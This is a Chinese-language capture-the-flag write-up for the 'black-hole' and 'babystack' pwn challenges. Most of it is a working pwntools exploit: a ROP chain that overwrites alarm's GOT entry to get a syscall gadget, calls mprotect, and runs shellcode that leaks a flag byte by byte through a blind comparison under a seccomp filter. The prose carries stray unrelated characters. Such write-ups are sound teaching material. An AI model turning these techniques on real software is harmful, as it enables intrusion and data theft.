black-hole
In memory of Stephen Hawking
題目的內(nèi)容非常的簡(jiǎn)單，就是在stack overflow的函數(shù)前面加上了seccomp的約束谆级。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
init_seccomp();
bo();
return 0LL;
}
seccomp里面調(diào)用的是函數(shù)seccomp_rule_add_exact這個(gè)函數(shù)是過(guò)濾一些系統(tǒng)調(diào)用的芦圾，第三個(gè)參數(shù)是過(guò)濾的syscall number盒卸，第二個(gè)參數(shù)是決定怎么去過(guò)濾這些syscall numbers的英支。這里的第二個(gè)參數(shù)是0x7fff0000随常，表示的是SECCOMP_RET_ALLOW逆趋，可以使用的調(diào)用號(hào)就只有那幾個(gè)0 2 3 10 60 231
- read
- open
- close
- mprotect
- exit
- exit_group
這里面沒(méi)有任何的輸出函數(shù)盏阶。那么就算我們讀了flag也沒(méi)有輸出，更加沒(méi)法去leak闻书。那么怎么辦呢名斟？讓人注意的只有mprotect這個(gè)syscall脑慧，我們似乎可以用shellcode來(lái)完成所有的事情。
從修改alarm成為syscall砰盐，到讀取一個(gè)字節(jié)闷袒，然后和flag進(jìn)行比較，可以一氣呵成楞卡。這個(gè)題目實(shí)際上和去年defcon中的一個(gè)盲比較的題目很像霜运，都是通過(guò)鏈接有沒(méi)有斷掉來(lái)判斷是否比較成功了的。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
binary = './blackhole'
elf = ELF(binary)
libc = elf.libc
io = process(binary)
context.log_level = 'debug'
pause()
def call_func(r12, r15, r14, r13):
buf = p64(0x400a4a)
buf += p64(0) # rbx
buf += p64(1) # rbp
buf += p64(r12) # func name
buf += p64(r13) # rdx
buf += p64(r14) # rsi
buf += p64(r15) # rdi
buf += p64(0x400a30)
buf += '0' * 56
return buf
# prepare big rop chain, because the previous overflow size is not enough for all the
# operations
bss_addr = 0x601a00
pop_rbp = 0x4007c0
leave_ret = 0x4009a5
b = 'a' * 0x20
b += 'b' * 8
b += call_func(elf.got['read'], 0, bss_addr, 0x300)
b += p64(pop_rbp)
b += p64(bss_addr)
b += p64(leave_ret)
io.send(b)
# read ROP to it
pause()
bss_addr2 = 0x601d00
context.arch = 'amd64'
b = '''
mov rax, 2
mov rdi, 0x601b78
mov rsi, 0
mov rdx, 0
syscall
xchg rax, rdi
xor rax, rax
mov rsi, 0x601600
mov rdx, 60
syscall
mov rcx, 0x601600
add rcx, %d
mov al, byte ptr [rcx]
cmp al, %d
jge good
bad:
mov rax, 60
syscall
good:
mov rax, 0
mov rdi, 0
mov rsi, 0x601500
mov rdx, 0x100
syscall
jmp good
'''
offset = 0
cmpval = ord('c')
SC = asm(b % (offset, cmpval))
b = p64(0) # for pop ebp in leave
b += call_func(elf.got['read'], 0, elf.got['alarm'], 1) # set the elf.got['alarm'] to syscall
b += call_func(elf.got['read'], 0, bss_addr2, 10) # set rax 10
b += call_func(elf.got['alarm'], 0x601000, 1000, 7) # mprotect()
b += p64(bss_addr + 0x200)
b += 'flag\x00'
b = b.ljust(0x200, '\x00')
b += SC
io.send(b)
# read one byte to the got
pause()
io.send('\x05')
# read 10 bytes to set the rax
pause()
io.send('1' * 10)
io.interactive()
babystack
這個(gè)就不多說(shuō)了蒋腮，ret2dlresolve淘捡，網(wǎng)上相關(guān)的資料太多了。
